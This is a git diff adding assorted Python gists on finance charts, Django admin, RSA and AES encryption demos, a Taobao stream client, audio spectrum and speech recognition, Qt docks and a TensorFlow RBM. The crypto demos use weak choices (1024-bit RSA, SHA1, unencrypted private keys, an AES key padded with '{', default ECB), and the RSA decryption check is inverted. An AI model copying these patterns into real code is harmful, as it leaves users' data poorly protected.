+        plt.plot(ld_alldata[4], lf_CurrStats[4]);  #Portfolio
+        plt.axhline(y=0, color='r');
+        plt.legend(['$SPX', 'Portfolio']);
+        plt.ylabel('Daily Value');
+        plt.xlabel('Date');
+        plt.savefig('chart.pdf', format='pdf');
+
+        #Print results:
+        print "Start Date: ", li_startDate;
+        print "End Date: ", li_endDate;
+        print "Symbols: ", ls_symbols;
+        print "Optimal Allocations: ", lf_CurrEffAllocation;
+        print "Volatility (stdev daily returns): " , lf_CurrStats[0];
+        print "Average daily returns: " , lf_CurrStats[1];
+        print "Sharpe ratio: " , lf_CurrStats[2];
+        print "Cumulative daily return: " , lf_CurrStats[3];
+
+        print "Run in: " , (time.time() - start) , " seconds.";
+          
+
+
+'''
+Actual Implementation Starts:
+'''
+startDate = [2011,1,1];
+endDate = [2011,12,31];
+simulate(startDate,endDate,['AAPL', 'GLD', 'GOOG', 'XOM'], [0.4, 0.4, 0.0, 0.2], True);
+optimize(startDate,endDate,['AAPL', 'GLD', 'GOOG', 'XOM'], False);
+
diff --git a/hard-gists/5225027/._snippet.py b/hard-gists/5225027/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5225027/._snippet.py differ
diff --git a/hard-gists/5225027/snippet.py b/hard-gists/5225027/snippet.py
new file mode 100644
index 00000000..36c50cec
--- /dev/null
+++ b/hard-gists/5225027/snippet.py
@@ -0,0 +1,10 @@
+from django.contrib import admin
+import reversion
+from mezzanine.pages.admin import PageAdmin
+from mezzanine.pages.models import Page
+
+class NewPageAdmin(PageAdmin, reversion.VersionAdmin):
+    pass
+
+admin.site.unregister(Page)
+admin.site.register(Page, NewPageAdmin)
\ No newline at end of file
diff --git a/hard-gists/5232301/._snippet.py b/hard-gists/5232301/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5232301/._snippet.py differ
diff --git a/hard-gists/5232301/snippet.py b/hard-gists/5232301/snippet.py
new file mode 100644
index 00000000..893f431e
--- /dev/null
+++ b/hard-gists/5232301/snippet.py
@@ -0,0 +1,132 @@
+# Since I ask this of people before using their code samples, anyone can
+# use this under BSD.
+import os
+import M2Crypto
+
+
+def empty_callback():
+    return
+
+# Seed the random number generator with 1024 random bytes (8192 bits)
+M2Crypto.Rand.rand_seed(os.urandom(1024))
+
+# Generate public/private key pair for Alice
+print "Generating a 1024 bit private/public key pair for Alice..."
+# If you don't like the default M2Crypto ASCII "progress"
+# bar it makes when generating keys, you can use:
+# Alice = M2Crypto.RSA.gen_key (1024, 65537, empty_callback)
+# You can change the key size, though key lengths < 1024 are
+# considered insecure
+# The larger the key size the longer it will take to generate
+# the key and the larger the signature will be when signing
+# You should probably leave the public exponent at 65537
+# (http://en.wikipedia.org/wiki/Rsa#Key_generation_2)
+Alice = M2Crypto.RSA.gen_key(1024, 65537)
+
+# Save Alice's private key
+# The 'None' tells it to save the private key in an unencrypted format
+# For best security practices, you'd use:
+# Alice.save_key ('Alice-private.pem')
+# That would cause the private key to be saved in an encrypted format
+# Python would ask you to enter a password to use to encrypt the key file
+# For a demo script though it's easier/quicker to just use 'None'
+Alice.save_key('Alice-private.pem', None)
+
+# Save Alice's public key
+Alice.save_pub_key('Alice-public.pem')
+
+
+# Generate public/private key pair for Bob
+print "Generating a 1024 bit private/public key pair for Bob..."
+Bob = M2Crypto.RSA.gen_key(1024, 65537)
+Bob.save_key('Bob-private.pem', None)
+Bob.save_pub_key('Bob-public.pem')
+
+
+# Alice wants to send a message to Bob, which only Bob will be able to decrypt
+# Step 1, load Bob's public key
+WriteRSA = M2Crypto.RSA.load_pub_key('Bob-public.pem')
+# Step 2, encrypt the message using that public key
+# Only Bob's private key can decrypt a message encrypted using Bob's public key
+CipherText = WriteRSA.public_encrypt(
+    "This is a secret message that can"
+    "only be decrypted with Bob's private key",
+    M2Crypto.RSA.pkcs1_oaep_padding)
+# Step 3, print the result
+print "\nAlice's encrypted message to Bob:"
+print CipherText.encode('base64')
+# Step 4 (optional), sign the message so Bob knows it really was from Alice
+# 1) Generate a signature
+MsgDigest = M2Crypto.EVP.MessageDigest('sha1')
+MsgDigest.update(CipherText)
+
+Signature = Alice.sign_rsassa_pss(MsgDigest.digest())
+# 2) Print the result
+print "Alice's signature for this message:"
+print Signature.encode('base64')
+
+
+# Bob wants to read the message he was sent
+# Step 1, load Bob's private key
+ReadRSA = M2Crypto.RSA.load_key('Bob-private.pem')
+# Step 2, decrypt the message using that private key
+# If you use the wrong private key to try to decrypt the message it
+# generates an exception, so this catches the exception
+try:
+    PlainText = ReadRSA.private_decrypt(
+        CipherText, M2Crypto.RSA.pkcs1_oaep_padding)
+except:
+    print "Error: wrong key?"
+    PlainText = ""
+
+if PlainText == "":
+    # Step 3, print the result of the decryption
+    print "Message decrypted by Bob:"
+    print PlainText
+    # Step 4 (optional), verify the message was really sent by Alice
+    # 1) Load Alice's public key
+    VerifyRSA = M2Crypto.RSA.load_pub_key('Alice-public.pem')
+    # 2 ) Verify the signature
+    print "Signature verificaton:"
+
+    MsgDigest = M2Crypto.EVP.MessageDigest('sha1')
+    MsgDigest.update(CipherText)
+
+    if VerifyRSA.verify_rsassa_pss(MsgDigest.digest(), Signature) == 1:
+        print "This message was sent by Alice.\n"
+    else:
+        print "This message was NOT sent by Alice!\n"
+
+
+# Generate a signature for a string
+# Use Bob's private key
+SignEVP = M2Crypto.EVP.load_key('Bob-private.pem')
+# Begin signing
+SignEVP.sign_init()
+# Tell it to sign our string
+SignEVP.sign_update(
+    'This is an unencrypted string that will be signed by Bob')
+# Get the final result
+StringSignature = SignEVP.sign_final()
+# Print the final result
+print "Bob's signature for the string:"
+print StringSignature.encode('base64')
+
+
+# Verify the string was signed by Bob
+PubKey = M2Crypto.RSA.load_pub_key('Bob-public.pem')
+# Initialize
+VerifyEVP = M2Crypto.EVP.PKey()
+# Assign the public key to our VerifyEVP
+VerifyEVP.assign_rsa(PubKey)
+# Begin verification
+VerifyEVP.verify_init()
+# Tell it to verify our string, if this string is not identicial to the
+# one that was signed, it will fail
+VerifyEVP.verify_update(
+    'This is an unencrypted string that will be signed by Bob')
+# Was the string signed by Bob?
+if VerifyEVP.verify_final(StringSignature) == 1:
+    print "The string was successfully verified."
+else:
+    print "The string was NOT verified!"
diff --git a/hard-gists/5237007/._snippet.py b/hard-gists/5237007/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5237007/._snippet.py differ
diff --git a/hard-gists/5237007/snippet.py b/hard-gists/5237007/snippet.py
new file mode 100644
index 00000000..1c23ed2f
--- /dev/null
+++ b/hard-gists/5237007/snippet.py
@@ -0,0 +1,112 @@
+#!/usr/bin/env python
+# coding:utf-8
+import _env
+from time import time
+from urllib import urlencode
+from urllib2 import urlopen as urlopen2
+from urlparse import parse_qsl
+from hashlib import md5
+from urlgrabber import urlopen
+import errno
+from json import loads
+import socket
+import time
+import datetime
+import httplib
+from zapp.SSO.config import OAUTH
+
+def taobao_sign(salt, params):
+    for k, v in params.iteritems():
+        if type(v) == int:
+            v = str(v)
+        elif type(v) == float:
+            v = '%.2f' % v
+        elif type(v) in (list, set):
+            v = ','.join([str(i) for i in v])
+        elif type(v) == bool:
+            v = 'true' if v else 'false'
+        elif type(v) == datetime.datetime:
+            v = v.strftime('%Y-%m-%d %X')
+        if type(v) == unicode:
+            params[k] = v.encode('utf-8')
+        else:
+            params[k] = v
+    src = salt + ''.join(
+        ["%s%s" %
+                        (k, v) for k, v in sorted(params.iteritems())])+salt
+    return md5(src).hexdigest().upper()
+
+
+KEY = OAUTH.TAOBAO.KEY
+SECRET = OAUTH.TAOBAO.SECRET
+
+URL = "http://stream.api.taobao.com/stream"
+
+#在完成第一步后还不能接收到任何用户的消息数据，因为数据属于用户，必须获得用户（卖家）的授权允许才能接收用户的数据。所以首先要获取卖家授权即取得sessionkey ，再调用taobao.increment.customer.permit授权获取指定用户的消息。
+#在APP运行的过程中，如果APP不再需要接收某个用户的消息，可以调用taobao.increment.customer.stop 取消 。也可以调用taobao.increment.customers.get 查看当前授权接收了那些用户的消息数据。
+
+
+
+
+
+def taobao_watch():
+    begin_time = time.time()
+    param = dict(
+        timestamp=datetime.datetime.now(),
+        app_key=KEY,
+    )
+    param['sign'] = taobao_sign(OAUTH.TAOBAO.SECRET, param)
+    urlopen2(URL, data=urlencode(param)).headers
+    s = socket.socket()
+    s.connect(('stream.api.taobao.com', 80))
+    content = urlencode(param)
+    s.send(
+        "\r\n".join([
+            'POST /stream HTTP/1.0',
+            'Content-Type: application/x-www-form-urlencoded',
+            'Content-Length: %s' % len(content),
+            'Host: stream.api.taobao.com',
+            '',
+            content
+        ])
+    )
+
+    s.setblocking(False)
+    running = True
+    data = ""
+    skip = True
+    while running:
+        try:
+            while True:
+                data += s.recv(4000)
+                if len(data) == 0:
+                    running = False
+                    break
+                while 1:
+                    if "\r\n" in data:
+                        (line, data) = data.split("\r\n", 1)
+                        if skip is True:
+                            if not line:
+                                skip = False
+                        else:
+                            line = loads(line)
+                            code = line['packet']['code']
+                            if code not in (201,200,203):
+                                yield line
+                    else:
+                        break
+        except socket.error, e:
+            no = e[0]
+            if no == errno.EINTR:
+                continue
+            elif no != errno.EAGAIN :      # Resource temporarily unavailable
+                print e
+                s.close()
+                raise
+        if (time.time() - begin_time) > 3600:
+            return
+        time.sleep(.3)
+
+if "__main__" == __name__:
+    for line in taobao_watch():
+        print line
\ No newline at end of file
diff --git a/hard-gists/5237011/._snippet.py b/hard-gists/5237011/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5237011/._snippet.py differ
diff --git a/hard-gists/5237011/snippet.py b/hard-gists/5237011/snippet.py
new file mode 100644
index 00000000..6e821f5e
--- /dev/null
+++ b/hard-gists/5237011/snippet.py
@@ -0,0 +1,61 @@
+#!/usr/bin/env python
+# encoding: utf-8
+
+import sys
+import os
+import atexit
+import time
+
+import numpy as np
+import pyaudio
+
+
+class Spectrum(object):
+
+    FORMAT = pyaudio.paFloat32
+    CHANNELS = 1
+    RATE = 16000
+
+    def __init__(self):
+        self.pa = pyaudio.PyAudio()
+        self.last_samples = None
+        atexit.register(self.pa.terminate)
+
+    def fft(self, samples):
+        win = np.hanning(len(samples))
+        res = np.fft.fftshift(np.fft.fft(win*samples))
+        freq = np.fft.fftfreq(len(samples), d=self.RATE**-1)
+        return zip(freq, 20*np.log10(np.abs(res)))
+
+    def callback(self, in_data, frame_count, time_info, status):
+        data = np.fromstring(in_data, np.float32)
+        pr = []
+        for f,v in self.fft(data)[256-64:256]:
+            pr.append(str(min(9, max(0, int((v+50)/10)))))
+        print ''.join(pr)
+        return (in_data, self.recording)
+
+    def record(self):
+        self.recording = pyaudio.paContinue
+        stream = self.pa.open(format = self.FORMAT,
+                        channels = self.CHANNELS, 
+                        rate = self.RATE, 
+                        input = True,
+                        output = False,
+                        #frames_per_buffer = self.FRAME_LEN,
+                        frames_per_buffer = 512,
+                        stream_callback = self.callback)
+        stream.start_stream()
+
+        while stream.is_active():
+            try:
+                time.sleep(1)
+            except KeyboardInterrupt:
+                self.recording = pyaudio.paAbort
+
+        stream.start_stream()
+        stream.close()
+
+if __name__ == '__main__':
+    spe = Spectrum()
+    spe.record()
diff --git a/hard-gists/5237529/._snippet.py b/hard-gists/5237529/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5237529/._snippet.py differ
diff --git a/hard-gists/5237529/snippet.py b/hard-gists/5237529/snippet.py
new file mode 100644
index 00000000..a317a96f
--- /dev/null
+++ b/hard-gists/5237529/snippet.py
@@ -0,0 +1,30 @@
+# opencv
+import cv2.cv as cv
+import cv2
+
+def build_filters():
+    """ returns a list of kernels in several orientations
+    """
+    filters = []
+    ksize = 31
+    for theta in np.arange(0, np.pi, np.pi / 32):
+        params = {'ksize':(ksize, ksize), 'sigma':1.0, 'theta':theta, 'lambd':15.0,
+                  'gamma':0.02, 'psi':0, 'ktype':cv2.CV_32F}
+        kern = cv2.getGaborKernel(**params)
+        kern /= 1.5*kern.sum()
+        filters.append((kern,params))
+    return filters
+
+def process(img, filters):
+    """ returns the img filtered by the filter list
+    """
+    accum = np.zeros_like(img)
+    for kern,params in filters:
+        fimg = cv2.filter2D(img, cv2.CV_8UC3, kern)
+        np.maximum(accum, fimg, accum)
+    return accum
+
+
+#main
+filters = build_filters()
+p = process(e, filters)
\ No newline at end of file
diff --git a/hard-gists/5241369/._snippet.py b/hard-gists/5241369/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5241369/._snippet.py differ
diff --git a/hard-gists/5241369/snippet.py b/hard-gists/5241369/snippet.py
new file mode 100644
index 00000000..689c82a9
--- /dev/null
+++ b/hard-gists/5241369/snippet.py
@@ -0,0 +1,81 @@
+#!/usr/bin/env python
+
+"""
+Playing around with QMainWindow's nested within each other 
+as dock widgets.
+"""
+
+from random import randint
+
+try:
+    from PySide import QtCore, QtGui
+except ImportError:
+    from PyQt4 import QtCore, QtGui 
+
+# Set to False - Standard docking of widgets around the main content area
+# Set to True - Sub MainWindows each with their own private docking 
+DO_SUB_DOCK_CREATION = False
+
+
+_DOCK_OPTS = QtGui.QMainWindow.AnimatedDocks
+_DOCK_OPTS |= QtGui.QMainWindow.AllowNestedDocks
+_DOCK_OPTS |= QtGui.QMainWindow.AllowTabbedDocks
+
+_DOCK_COUNT = 0
+_DOCK_POSITIONS = (
+    QtCore.Qt.LeftDockWidgetArea,
+    QtCore.Qt.TopDockWidgetArea,
+    QtCore.Qt.RightDockWidgetArea,
+    QtCore.Qt.BottomDockWidgetArea
+)
+
+def main():
+    mainWindow = QtGui.QMainWindow()
+    mainWindow.resize(1024,768)
+    mainWindow.setDockOptions(_DOCK_OPTS)
+
+    widget = QtGui.QLabel("MAIN APP CONTENT AREA")
+    widget.setMinimumSize(300,200)
+    widget.setFrameStyle(widget.Box)
+    mainWindow.setCentralWidget(widget)
+
+    addDocks(mainWindow, "Main Dock")
+
+    mainWindow.show()
+    mainWindow.raise_()
+
+    return mainWindow
+
+
+def addDocks(window, name, subDocks=True):
+    global _DOCK_COUNT
+
+    for pos in _DOCK_POSITIONS:
+
+        for _ in xrange(2):
+            _DOCK_COUNT += 1
+
+            sub = QtGui.QMainWindow()
+            sub.setWindowFlags(QtCore.Qt.Widget)
+            sub.setDockOptions(_DOCK_OPTS)
+
+            color = tuple(randint(20, 230) for _ in xrange(3))
+
+            label = QtGui.QLabel("%s %d content area" % (name, _DOCK_COUNT), sub)
+            label.setMinimumHeight(25)
+            label.setStyleSheet("background-color: rgb(%d, %d, %d)" % color)
+            sub.setCentralWidget(label)
+
+            dock = QtGui.QDockWidget("%s %d title bar" % (name, _DOCK_COUNT))
+            dock.setWidget(sub)
+
+            if DO_SUB_DOCK_CREATION and subDocks:
+                addDocks(sub, "Sub Dock", subDocks=False)
+
+            window.addDockWidget(pos, dock)
+
+
+if __name__ == "__main__":
+    app = QtGui.QApplication([])
+    mainWindow = main()
+    app.exec_()
\ No newline at end of file
diff --git a/hard-gists/5263533/._snippet.py b/hard-gists/5263533/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5263533/._snippet.py differ
diff --git a/hard-gists/5263533/snippet.py b/hard-gists/5263533/snippet.py
new file mode 100644
index 00000000..e4dfd676
--- /dev/null
+++ b/hard-gists/5263533/snippet.py
@@ -0,0 +1,49 @@
+#!/usr/bin/env python
+import sys
+import yaml
+import json
+
+def convert(infile):
+    x = yaml.load(open(infile, 'r').read())
+
+    print "Converting"
+    print x
+    for container in x['SURVIVAL']:
+        print "Entering " + container
+        x['SURVIVAL'][container] = json.loads(x['SURVIVAL'][container])
+
+        if container in ('potion', 'stats', 'bedSpawnLocation'):
+            continue # nothing to do here.
+
+        for item in x['SURVIVAL'][container]:
+            # Do some magic here..
+            print " Found a %s at pos %s" %(x['SURVIVAL'][container][item]['is']['type'], item)
+
+            val = x['SURVIVAL'][container][item]
+
+            if val.has_key('is'):
+                print '  - Fixing "is" -> "==":"org.bukkit.inventory.ItemStack"'
+                t = val['is']
+                t['=='] = "org.bukkit.inventory.ItemStack"
+                del val['is']
+                val = t
+
+            if val.has_key('meta'):
+                print '  - Fixing meta with "==": "ItemMeta",'
+                val['meta']['=='] = 'ItemMeta'
+
+            x['SURVIVAL'][container][item] = val
+
+    print "Returning as serialised json"
+    return json.dumps(x)
+
+### main loop
+if __name__ == '__main__':
+    for x in sys.argv[1:]:
+        print "Converting %s" % x
+        outfile = x.replace('.yml', '.json')
+
+        out = convert(x)
+        of = open(outfile, 'w')
+        of.write(out)
+        of.close()
diff --git a/hard-gists/5263bc6284c4dbe79951/._snippet.py b/hard-gists/5263bc6284c4dbe79951/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5263bc6284c4dbe79951/._snippet.py differ
diff --git a/hard-gists/5263bc6284c4dbe79951/snippet.py b/hard-gists/5263bc6284c4dbe79951/snippet.py
new file mode 100644
index 00000000..33a855e4
--- /dev/null
+++ b/hard-gists/5263bc6284c4dbe79951/snippet.py
@@ -0,0 +1,72 @@
+""" An rbm implementation for TensorFlow, based closely on the one in Theano """
+
+import tensorflow as tf
+import math
+
+def sample_prob(probs):
+    """Takes a tensor of probabilities (as from a sigmoidal activation)
+       and samples from all the distributions"""
+    return tf.nn.relu(
+        tf.sign(
+            probs - tf.random_uniform(probs.get_shape())))
+
+class RBM(object):
+    """ represents a sigmoidal rbm """
+
+    def __init__(self, name, input_size, output_size):
+        with tf.name_scope("rbm_" + name):
+            self.weights = tf.Variable(
+                tf.truncated_normal([input_size, output_size],
+                    stddev=1.0 / math.sqrt(float(input_size))), name="weights")
+            self.v_bias = tf.Variable(tf.zeros([input_size]), name="v_bias")
+            self.h_bias = tf.Variable(tf.zeros([output_size]), name="h_bias")
+
+    def propup(self, visible):
+        """ P(h|v) """
+        return tf.nn.sigmoid(tf.matmul(visible, self.weights) + self.h_bias)
+
+    def propdown(self, hidden):
+        """ P(v|h) """
+        return tf.nn.sigmoid(tf.matmul(hidden, tf.transpose(self.weights)) + self.v_bias)
+
+    def sample_h_given_v(self, v_sample):
+        """ Generate a sample from the hidden layer """
+        return sample_prob(self.propup(v_sample))
+
+    def sample_v_given_h(self, h_sample):
+        """ Generate a sample from the visible layer """
+        return sample_prob(self.propdown(h_sample))
+
+    def gibbs_hvh(self, h0_sample):
+        """ A gibbs step starting from the hidden layer """
+        v_sample = self.sample_v_given_h(h0_sample)
+        h_sample = self.sample_h_given_v(v_sample)
+        return [v_sample, h_sample]
+
+    def gibbs_vhv(self, v0_sample):
+        """ A gibbs step starting from the visible layer """
+        h_sample = self.sample_h_given_v(v0_sample)
+        v_sample = self.sample_v_given_h(h_sample)
+        return  [h_sample, v_sample]
+
+    def cd1(self, visibles, learning_rate=0.1):
+        " One step of contrastive divergence, with Rao-Blackwellization "
+        h_start = self.propup(visibles)
+        v_end = self.propdown(h_start)
+        h_end = self.propup(v_end)
+        w_positive_grad = tf.matmul(tf.transpose(visibles), h_start)
+        w_negative_grad = tf.matmul(tf.transpose(v_end), h_end)
+
+        update_w = self.weights.assign_add(learning_rate * (w_positive_grad - w_negative_grad))
+
+        update_vb = self.v_bias.assign_add(learning_rate * tf.reduce_mean(visibles - v_end, 0))
+
+        update_hb = self.h_bias.assign_add(learning_rate * tf.reduce_mean(h_start - h_end, 0))
+
+        return [update_w, update_vb, update_hb]
+
+    def reconstruction_error(self, dataset):
+        """ The reconstruction cost for the whole dataset """
+        err = tf.stop_gradient(dataset - self.gibbs_vhv(dataset)[1])
+        return tf.reduce_sum(err * err)
+
diff --git a/hard-gists/5264046/._snippet.py b/hard-gists/5264046/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5264046/._snippet.py differ
diff --git a/hard-gists/5264046/snippet.py b/hard-gists/5264046/snippet.py
new file mode 100644
index 00000000..ae8825bb
--- /dev/null
+++ b/hard-gists/5264046/snippet.py
@@ -0,0 +1,38 @@
+#Shamefully taken from http://www.codekoala.com/blog/2009/aes-encryption-python-using-pycrypto/ and adapted to python3
+#Adapted to show the effect of an incorrect key
+from Crypto.Cipher import AES
+import base64
+import os
+
+# the block size for the cipher object; must be 16, 24, or 32 for AES
+BLOCK_SIZE = 32
+
+# the character used for padding--with a block cipher such as AES, the value
+# you encrypt must be a multiple of BLOCK_SIZE in length.  This character is
+# used to ensure that your value is always a multiple of BLOCK_SIZE
+PADDING = '{'
+
+# one-liner to sufficiently pad the text to be encrypted
+def pad(s): 
+    return s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING
+
+# encrypt with AES, encode with base64
+def EncodeAES(plaindata, key):
+    key = pad(key)
+    cipher = AES.new(key)
+    enc = cipher.encrypt(pad(plaindata))#cipher.encrypt(s)#
+    return base64.b64encode(enc)
+
+def DecodeAES(encodeddata, key): 
+    key = pad(key)
+    cipher = AES.new(key)
+    b64 = base64.b64decode(encodeddata)
+    return cipher.decrypt(b64)
+
+# encode a string
+encoded = EncodeAES('password', "1234")
+print('Encrypted string:', encoded)
+
+# decode the encoded string
+print('Incorrectly decrypted string:', DecodeAES(encoded, "WRONGPASS"))
+print('Correctly   decrypted string:', DecodeAES(encoded, "1234"))
\ No newline at end of file
diff --git a/hard-gists/5267494/._snippet.py b/hard-gists/5267494/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5267494/._snippet.py differ
diff --git a/hard-gists/5267494/snippet.py b/hard-gists/5267494/snippet.py
new file mode 100644
index 00000000..336659ff
--- /dev/null
+++ b/hard-gists/5267494/snippet.py
@@ -0,0 +1,18 @@
+import webapp2
+from twilio import twiml
+from twilio.rest import TwilioRestClient
+ 
+class SendSMS(webapp2.RequestHandler):
+    def get(self):
+        # replace with your credentials from: https://www.twilio.com/user/account
+        account_sid = "ACxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
+        auth_token = "xxxxxxxxxxxxxxxxxxxxxxxxxx"
+        client = TwilioRestClient(account_sid, auth_token)
+        # replace "to" and "from_" with real numbers
+        rv = client.sms.messages.create(to="+14155551212",
+                                        from_="+14085551212",
+                                        body="Hello Monkey!")
+        self.response.write(str(rv))
+ 
+app = webapp2.WSGIApplication([('/send_sms', SendSMS)],
+                              debug=True)
\ No newline at end of file
diff --git a/hard-gists/5269514/._snippet.py b/hard-gists/5269514/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5269514/._snippet.py differ
diff --git a/hard-gists/5269514/snippet.py b/hard-gists/5269514/snippet.py
new file mode 100644
index 00000000..c0cbad67
--- /dev/null
+++ b/hard-gists/5269514/snippet.py
@@ -0,0 +1,67 @@
+import os
+import random
+import string
+from subprocess import call
+
+import numpy as np
+
+from sklearn.base import BaseEstimator, ClassifierMixin
+from sklearn.datasets import dump_svmlight_file
+
+
+FESTPATH = "/home/tobias/applications/fest/"
+
+
+def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
+    return ''.join(random.choice(chars) for x in range(size))
+
+
+class FEST(BaseEstimator, ClassifierMixin):
+    """
+    Simple Python Wrapper for FEST (https://github.com/fest/fest)
+    Supports only binary classification.
+    """
+
+    def __init__(self):
+        self.model = id_generator(10)
+
+    def __del__(self):
+        call(["rm", self.model_filename])
+
+    def fit(self, X, y):
+        self.train_filename = self.model + "_data.tmp"
+        self.model_filename = self.model + "_model.tmp"
+
+        with open(self.train_filename, 'wb') as f:
+            dump_svmlight_file(X, y, f)
+
+        call([os.path.join(FESTPATH, "festlearn"),
+              "-c", "2",
+              "-d", "1000",
+              "-t", "100",
+              self.train_filename, self.model_filename])
+
+        call(["rm", self.train_filename])
+
+    def predict_proba(self, X):
+        self.test_filename = self.model + "_test.tmp"
+        self.pred_filename = self.model + "_pred.tmp"
+
+        y = np.array([-55] * X.shape[0])
+
+        with open(self.test_filename, 'wb') as f:
+            dump_svmlight_file(X, y, f)
+
+        call([os.path.join(FESTPATH, "festclassify"), self.test_filename,
+              self.model_filename, self.pred_filename])
+
+        with open(self.pred_filename, 'rb') as f:
+            y_pred = np.array([[-float(line), float(line)] for line in f])
+
+        call(["rm", self.test_filename])
+        call(["rm", self.pred_filename])
+
+        return np.array(y_pred)
+
+    def predict(self, X):
+        return (self.predict_proba(X)[:,1] > 0).astype(int)
diff --git a/hard-gists/5284646/._snippet.py b/hard-gists/5284646/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5284646/._snippet.py differ
diff --git a/hard-gists/5284646/snippet.py b/hard-gists/5284646/snippet.py
new file mode 100644
index 00000000..3f3fc370
--- /dev/null
+++ b/hard-gists/5284646/snippet.py
@@ -0,0 +1,151 @@
+#/usr/bin/env python
+# encoding: utf-8
+
+import os
+import sys
+import atexit
+import json
+import time
+import tempfile
+import wave
+import traceback
+import urllib2
+from subprocess import check_output
+from Queue import Queue, Empty
+
+import numpy as np
+import pyaudio
+
+
+class Spectrum(object):
+
+    FORMAT = pyaudio.paFloat32
+    CHANNELS = 1
+    FRAME_SIZE = 512
+    RATE = 16000 # Hz
+
+    def frames(self, n):
+        return int(n*self.RATE/self.FRAME_SIZE)
+
+    def __init__(self):
+        self.speak = Queue()
+        self.pa = pyaudio.PyAudio()
+        self.last_samples = None
+        atexit.register(self.pa.terminate)
+        # fft結果のインデックスに対応する周波数値の計算。今回使わなかった。
+        # self.freq = np.fft.fftfreq(self.FRAME_SIZE, d=self.RATE**-1)
+        self.begin = self.FRAME_SIZE*3/8
+        self.end = self.FRAME_SIZE/2
+        self.fque = np.zeros((self.frames(1.0), self.end-self.begin), np.float32)
+        self.buff = np.zeros((self.frames(5.0), 512), np.float32)
+
+    def fft(self, samples):
+        win = np.hanning(len(samples))
+        res = np.fft.fftshift(np.fft.fft(win*samples))
+        return 20*np.log10(np.abs(res))
+
+    def callback(self, in_data, frame_count, time_info, status):
+        try:
+            data = np.fromstring(in_data, np.float32)
+            self.buff[0] = data
+            self.buff = np.roll(self.buff, -1, axis=0)
+            if self.status == 0: # 切り出しを始めたら環境音成分平均値の更新は一時停止。
+                self.fque = np.roll(self.fque, 1, axis=0)
+            self.fque[0] = self.fft(data)[self.begin:self.end]
+            # これが環境音成分の平均値
+            average = np.average(self.fque, axis=0)
+            values = self.fque[0] - average # fft結果から差っ引く
+            volume = np.average(values)
+            if self.status:
+                self.count += 1
+            else:
+                self.count == 0
+            if self.status < 5:
+                if volume>5:
+                    self.status += 1
+                else:
+                    self.status = 0
+            elif self.status == 5:
+                if volume<5:
+                    self.status += 1
+            elif self.status < 15:
+                if volume<5:
+                    self.status += 1
+                else:
+                    self.status -= 1
+            else:
+                self.status = 0
+                self.speak.put(self.buff[-self.count-2:])
+            if self.debug:
+                pr = [min(9, max(0, int(v/10))) for v in values]
+                print ''.join([str(i) for i in pr]), self.status
+
+            return (in_data, self.recording)
+        except KeyboardInterrupt:
+            self.recording = pyaudio.paAbort
+
+    def start(self, debug=False):
+        self.debug = debug
+        self.status = 0
+        self.count = 0
+        self.recording = pyaudio.paContinue
+        self.stream = self.pa.open(format = self.FORMAT,
+                        channels = self.CHANNELS, 
+                        rate = self.RATE, 
+                        input = True,
+                        output = False,
+                        frames_per_buffer = self.FRAME_SIZE,
+                        stream_callback = self.callback)
+        self.stream.start_stream()
+
+    def stop(self):
+        self.recording = pyaudio.paAbort
+        while self.stream.is_active():
+            time.sleep(0.5)
+        self.stream.start_stream()
+        self.stream.close()
+
+
+RECOGNIZE_URL = "https://www.google.com/speech-api/v1/recognize?xjerr=1&client=chromium&lang=ja-JP"
+# RECOGNIZE_URL += "&maxresult=10" # これで候補のトップ１０が返る。
+FLAC_TOOL = 'flac'
+
+def recognize(fpath):
+    flac = open(fpath,"rb").read()
+    header = {'Content-Type' : 'audio/x-flac; rate=16000'}
+    req = urllib2.Request(RECOGNIZE_URL, flac, header)
+    data = urllib2.urlopen(req)
+    params = json.loads(data.read())
+    return params
+
+def main(spe):
+    while 1:
+        try:
+            buff = spe.speak.get(timeout=3)
+            with tempfile.NamedTemporaryFile(suffix='.wav') as fp:
+                f = wave.open(fp, 'w')
+                f.setnchannels(1)
+                f.setsampwidth(2)
+                f.setframerate(16000)
+                f.writeframes(np.int16(buff*32768).tostring())
+                f.close()
+                check_output([FLAC_TOOL, '-sf', fp.name])
+                output = os.path.splitext(fp.name)[0] + '.flac'
+                res = recognize(output)
+                for i in res.get('hypotheses', []):
+                    print i['confidence'], i['utterance']
+        except KeyboardInterrupt:
+            raise SystemExit(0)
+        except Empty:
+            pass
+        except:
+            traceback.print_exc()
+            time.sleep(5)
+
+if __name__=='__main__':
+    spe = Spectrum()
+    spe.start(False)
+    try:
+        main(spe)
+    finally:
+        spe.stop()
diff --git a/hard-gists/5287589/._snippet.py b/hard-gists/5287589/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5287589/._snippet.py differ
diff --git a/hard-gists/5287589/snippet.py b/hard-gists/5287589/snippet.py
new file mode 100644
index 00000000..2954b8ab
--- /dev/null
+++ b/hard-gists/5287589/snippet.py
@@ -0,0 +1,27 @@
+from PyQt4.QtGui import QImage, qRgb
+import numpy as np
+
+class NotImplementedException:
+    pass
+
+gray_color_table = [qRgb(i, i, i) for i in range(256)]
+
+def toQImage(im, copy=False):
+    if im is None:
+        return QImage()
+
+    if im.dtype == np.uint8:
+        if len(im.shape) == 2:
+            qim = QImage(im.data, im.shape[1], im.shape[0], im.strides[0], QImage.Format_Indexed8)
+            qim.setColorTable(gray_color_table)
+            return qim.copy() if copy else qim
+
+        elif len(im.shape) == 3:
